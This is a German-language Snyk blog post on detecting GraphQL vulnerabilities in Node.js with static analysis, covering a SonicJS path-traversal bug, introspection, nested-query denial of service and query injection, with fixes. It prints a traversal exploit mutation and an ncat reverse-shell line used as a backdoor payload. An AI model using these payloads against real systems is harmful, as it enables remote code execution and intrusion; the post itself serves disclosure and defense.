Skip to main content

GraphQL-Sicherheit mit statischer Analyse und Snyk Code verbessern

Artikel von
Headshot of Sam Sanoop

Sam Sanoop

feature snyk code orange

12. April 2022

0 Min. Lesezeit

GraphQL ist eine 2015 von Facebook entwickelte API-Abfragesprache. Seitdem haben ihre besonderen Funktionen und Möglichkeiten sie zu einer überzeugenden Alternative zu REST-APIs gemacht. In puncto Sicherheit können GraphQL-Server verschiedene Fehlkonfigurationen aufweisen, die zu Datenlecks, Problemen mit der Zugriffskontrolle und anderen Schwachstellen mit hohem Risiko führen.

Sicherheitsprobleme mit GraphQL sind zwar weithin bekannt, doch gibt es nur wenige Informationen dazu, wie sie sich ohne dynamische Analyse aufspüren lassen. In diesem Beitrag erfahren Sie, wie häufige GraphQL-Schwachstellen im Code auftreten und wie Sie sie mithilfe von Tools zur statischen Analyse und GraphQL Security finden. Da viele weit verbreitete GraphQL-Frameworks im npm-Ökosystem angesiedelt sind, konzentrieren wir uns auf Beispiele aus dem Node.js-Ökosystem.

Taint-Analyse in GraphQL-Frameworks

SQL-Injection- und Deserialisierungs-Schwachstellen wurden in zahlreichen Studien zu GraphQL-Endpunkten gemeldet. Ein Beispiel dafür findet sich in einem Bericht von HackerOne, in dem eine SQL-Injection über einen GraphQL-Parameter auftritt.

Wie Parameter von REST-APIs sind GraphQL-Argumente eine Quelle für nicht vertrauenswürdige Daten, über die Nutzereingaben in eine Anwendung gelangen können. Tools zur statischen Analyse sollten diese Parameter in einer Anwendung zuverlässig erkennen und modellieren können.

In GraphQL-Frameworks bilden Resolver die Verbindung zwischen Schema, Funktion und Argumenten, bevor diese an Resolver-Funktionen weitergegeben werden. Das folgende Beispiel zeigt das Argument args als Objekt, das alle GraphQL-Argumente enthält, die von der GraphQL-Operation für das Feld übergeben wurden.

const resolvers = {
  Query: {
    user(parent, args, context, info) {
      return runFunction(args.parameter);
    }
  }
}

Diese args-Ausdrücke lassen sich von der Engine Snyk Code nachverfolgen. Sie nutzt Points-to-Analyse und Typzustandsanalyse, um die Programmausführung präzise zu erfassen. Die Snyk Code-Analyse von SonicJS, einem modernen, auf Node.js basierenden Open-Source-Content-Management-System, ist ein hilfreiches Beispiel.

SonicJS ermöglicht Nutzern die Ausführung von CMS-Operationen über den GraphQL-Endpunkt. Eine solche Operation ist die Mutationsoperation fileUpdate, mit der Nutzer ihre Dateien aktualisieren können.

    fileUpdate: {
      type: FileType,
      args: {
        filePath: { type: new GraphQLNonNull(GraphQLString) },
        fileContent: { type: new GraphQLNonNull(GraphQLString) },
        sessionID: { type: GraphQLString },
      },
      resolve(parent, args) {
        fileService.writeFile(args.filePath, args.fileContent);
        let fileData = new FileData(args.filePath, args.fileContent);
        return fileData;
      },

(Quellcode)

Diese Mutationsabfrage übernimmt vom Nutzer bereitgestellte Eingaben namens args.filePath und args.fileContent und übergibt sie anschließend an die Funktion writeFile des Objekts fileService. Die Implementierung der Funktion des Objekts fileService befindet sich in server/services/file.service.js und ist unten zu sehen.

    writeFile: async function (filePath, fileContent) {
      Let fullPath = path.join(this.getRootAppPath(), filePath);
      Await fsPromise.writeFile(fullPath, fileContent);
    },

(Quellcode)

Diese Funktion übernimmt beide GraphQL-Argumente und verwendet die Funktion fs.writeFile, um die Datei unter dem angegebenen Pfad zu aktualisieren. Sie kann jedoch ausgenutzt werden, um das angegebene Anwendungsverzeichnis zu durchlaufen und an beliebiger Stelle im Zielsystem eine neue Datei anzulegen, wie die folgende GraphQL-Abfrage zeigt:

mutation {

fileUpdate(
filePath: "../../../../../../../../../../../../tmp/test.txt",
fileContent: "exploitable",
sessionID:"nosessioncheckinplace"
){
filePath
fileContent
}
}

Diese Schwachstelle ermöglicht die Ausführung von Code auf dem System, indem eine der SonicJS-Service-Dateien mit schädlichem JavaScript überschrieben wird, das beim Start oder Neustart vom SonicJS-System geladen wird. Das folgende Beispiel verwendet etwa die Funktion child_process, um eine Hintertür in der Anwendung einzurichten und über das auf dem Zielsystem installierte Programm ncat eine Verbindung zu einer vom Angreifer kontrollierten IP-Adresse herzustellen.

require("child_process").exec('ncat 127.0.0.1 4445 -e /bin/bash')
GraphQL-Oberfläche mit einer fileUpdate-Mutation, einem Dateipfad und einer Shell-Befehl-Payload sowie der zurückgegebenen JSON-Antwort.

Der Bericht von Snyk Code zu dieser Schwachstelle ist unten zu sehen:

Sicherheitscodeanalyse, die eine GraphQL-Pfad-Traversal-Schwachstelle und den Datenfluss zu einer Funktion zum Schreiben von Dateien zeigt

SonicJS kann dieser Schwachstelle künftig vorbeugen, indem für die Abfrage eine Authentifizierung und Autorisierung verlangt und der angegebene Dateipfad überprüft wird, damit Sonderzeichen wie ../ nicht zulässig sind.

GraphQL-Introspektion

Mit dem Introspektionssystem von GraphQL lässt sich ermitteln, welche Abfragen ein GraphQL-Server unterstützt. Dazu gehören Typen, Felder, Abfragen, Mutationen und weitere Informationen zum GraphQL-Schema.

Introspektion ist zwar eine Funktion und kein direktes Sicherheitsproblem, kann aber häufig dazu verwendet werden, verborgene Funktionen zu finden, die Angreifer ausnutzen können.

Im Node.js-Ökosystem ist die Introspektion in JavaScript-Frameworks oft standardmäßig aktiviert, was für Entwickler nicht immer ersichtlich ist. Wird das GraphQL-Framework ohne Angabe von Einstellungen verwendet, wie im folgenden Beispiel mit express-graphql, ist die Introspektion daher automatisch aktiviert.

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
})))

Ein Beispiel für diesen Bericht in Snyk Code ist unten zu sehen:

Sicherheitsanalyse mit „Introspection Enabled“ für einen Apollo-GraphQL-Server; der Code setzt Introspection auf true.

Da es legitime Anwendungsfälle geben kann, in denen Introspektion für eine Produktionsanwendung erforderlich ist, wurde dieses Problem als geringes Risiko eingestuft.

Um die Introspektion in express-graphql zu deaktivieren, verwenden Sie NoSchemaIntrospectionCustomRule aus graphql-js.

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'
import { specifiedRules, NoSchemaIntrospectionCustomRule } from 'graphql';

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
validationRules: [...specifiedRules, NoSchemaIntrospectionCustomRule],
})))

Introspektion in der Produktionsumgebung kann zwar zu Sicherheitsproblemen führen, wird aber oft für die Entwicklung benötigt. Die Entwickler von ApolloServer haben dieses Problem gelöst, indem sie die Introspektion abhängig vom Produktionsstatus aktivieren oder deaktivieren.

// introspection is only enabled based on NODE_ENV
const apolloServer = new ApolloServer({
  schema,
  introspection: process.env.NODE_ENV !== 'production' && CUSTOM_ENV !== 'production',
});
export default apolloServer;

Wenn Sie ein anderes GraphQL-Framework verwenden, können Sie mit einer Bibliothek eines Drittanbieters wie dem Paket graphql-disable-introspection Regeln für Ihren GraphQL-Endpunkt überprüfen.

Denial-of-Service-Angriffe auf GraphQL

Jede Abfrage weist eine Verschachtelungstiefe von Objekten auf, die von einem GraphQL-Endpunkt verarbeitet werden können. Die meisten GraphQL-Frameworks verfügen standardmäßig über keine Begrenzung der Abfragetiefe. Abfragen mit unbegrenzter Tiefe können das Framework anfällig für Denial-of-Service-Angriffe (DoS) machen, wie das folgende Beispiel zeigt:

{
    one {
        two {
            one {
                two {
                    one…
                }
            }
        }
    }
}

Damit dieses Problem jedoch ausnutzbar ist, muss der GraphQL-Server ein rekursives Muster von Feldtypen aufweisen, bei dem eine wechselseitige Beziehung besteht. Ein Beispiel für diesen Bericht in Snyk Code ist unten zu sehen:

Code-Analyseansicht mit dem Titel „Denial-of-Service (DoS) durch verschachtelte GraphQL-Abfragen“, in der eine graphqlHTTP-Konfiguration in server.js hervorgehoben ist.

Diese DoS-Schwachstelle wurde in mevn-cli gefunden. Um sie zu beheben, kann das über npm verfügbare Paket graphql-depth-limit wie folgt verwendet werden:

import depthLimit from 'graphql-depth-limit'
import express from 'express'
import graphqlHTTP from 'express-graphql'
import schema from './schema'

const app = express() 
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  schema,
  validationRules: [ depthLimit(10) ]
})))

Sehen Sie sich diesen Commit im mevn-cli-Repository an, um ein Beispiel für diese Korrektur zu erhalten.

Eine weitere Möglichkeit, DoS-Angriffe zu verhindern, besteht darin, die Länge des Anforderungstexts an Ihrem GraphQL-Endpunkt zu überprüfen. Lange Abfragen können auf DoS-Angriffe hindeuten. Die Abfragelänge zu überwachen, ist daher eine einfache und wirksame Prüfmethode.

// query length is checked here to prevent DoS
  app.use('/graphql', graphqlExpress((req) => {     
 const query = req.query.query || req.body.query;
    if (query && query.length > 2000) {
      // Normal GraphQL queries are not this long
      // Probably indicates someone trying to send an overly expensive query
      throw new Error('Query too large.');
    }

    return {
      schema,
      context: Object.assign({}, context),
      debug: true,
    };
  }));

GraphQL-Injection

Durch die Möglichkeit, eine Anwendungsabfrage zu manipulieren, kann eine GraphQL-Injection Angreifern Zugriff auf Daten verschaffen, die sie normalerweise nicht abrufen könnten – darunter Nutzerdaten und alle anderen Daten, auf die die Anwendung zugreifen kann. In vielen Fällen lassen sich diese Daten ändern oder löschen, was dauerhafte Auswirkungen auf Inhalt und Verhalten der Anwendung hat.

@octokit/core ist eine minimalistische Bibliothek, mit der sich die REST-API und die GraphQL-API von GitHub zum Erstellen von GraphQL-Abfragen nutzen lassen. Wenn Nutzereingaben zum dynamischen Erstellen einer GraphQL-Abfrage verwendet werden, kann ein Angreifer diese Abfrage möglicherweise so verändern, dass er auf vertrauliche Informationen zugreifen kann. Ein Beispiel für dieses Problem ist unten zu sehen:

app.get('/', async function(req, res) {

    let user = req.query.page;

    const { articles } = await octokit.graphql(
        `
          query lastIssues($owner: String!, $repo: String!) {
            repository(owner: ${input}, name: $repo) {
              issues(last: $num) {
                edges {
                  node {
                    title
                  }
                }
              }
            }
          }
        `,
        {
          owner: "octokit",
          repo: "graphql.js",
        }
      );

Ein Beispiel für diesen Bericht in Snyk Code ist unten zu sehen.

Snyk Code zeigt eine GraphQL-Sicherheitsanalyse, bei der ungefilterte HTTP-Eingaben in JavaScript-Code in eine GraphQL-Abfrage fließen

Um GraphQL-Injection zu verhindern, sollten Sie vom Nutzer eingegebene Parameter nicht direkt an eine GraphQL-Abfrage übergeben. Wenn direkte Nutzereingaben aus Performance-Gründen erforderlich sind, überprüfen Sie sie anhand einer sehr strengen Zulassungsliste erlaubter Zeichen. Vermeiden Sie dabei Sonderzeichen wie ? & / < > ; - sowie Leerzeichen. Verwenden Sie nach Möglichkeit außerdem eine vom Anbieter bereitgestellte Escape-Funktion.

Fazit

Snyk Code unterstützt derzeit die folgenden GraphQL-Frameworks mit verschiedenen Taint-Analysen und semantischen Regeln:

  • express-graphql

  • koa-graphql

  • mercurius

  • apollo-server

  • graphql-js

Wir möchten die Unterstützung künftig auf weitere GraphQL-Schwachstellen ausweiten, etwa Probleme mit unsicheren Objektreferenzen, direkten Referenzen und der Zugriffskontrolle. GraphQL wird derzeit für JavaScript unterstützt. Wir möchten jedoch weitere Programmiersprachen und Codequalitätsregeln hinzufügen, um Probleme wie Batching-Angriffe und Abfragekomplexität zu adressieren.

Starten Sie mit Capture the Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.

Gepostet in:

Weiterlesen

feature insights context
Blog

Autonome Angriffe sind bereits Realität. Die Verteidigung muss Schritt halten.

Autonome Angreifer verkürzen das Zeitfenster für die Verteidigung. Erfahren Sie, wie kontinuierliches Erkennen, Beheben, Validieren und Verhindern Sicherheitsteams helfen kann, Schritt zu halten.

illustration hero ai
Blog

Der KI-Hurrikan ist da

KI beschleunigt gleichermaßen die Softwareentwicklung und Cyberangriffe. Führungskräfte müssen Agents und Code von Anfang an absichern, zur Laufzeit Kontrollen durchsetzen und Abwehrmaßnahmen unabhängig validieren.

feature insights context
Blog

Ist Prävention im Grunde ein gelöstes Problem?

Die Prävention in von Agenten generiertem Code ist architektonisch gelöst – die Herausforderung besteht jedoch weiterhin darin, Kontrollen zu wählen, die die Sicherheit schützen, ohne die Entwicklung zu verlangsamen.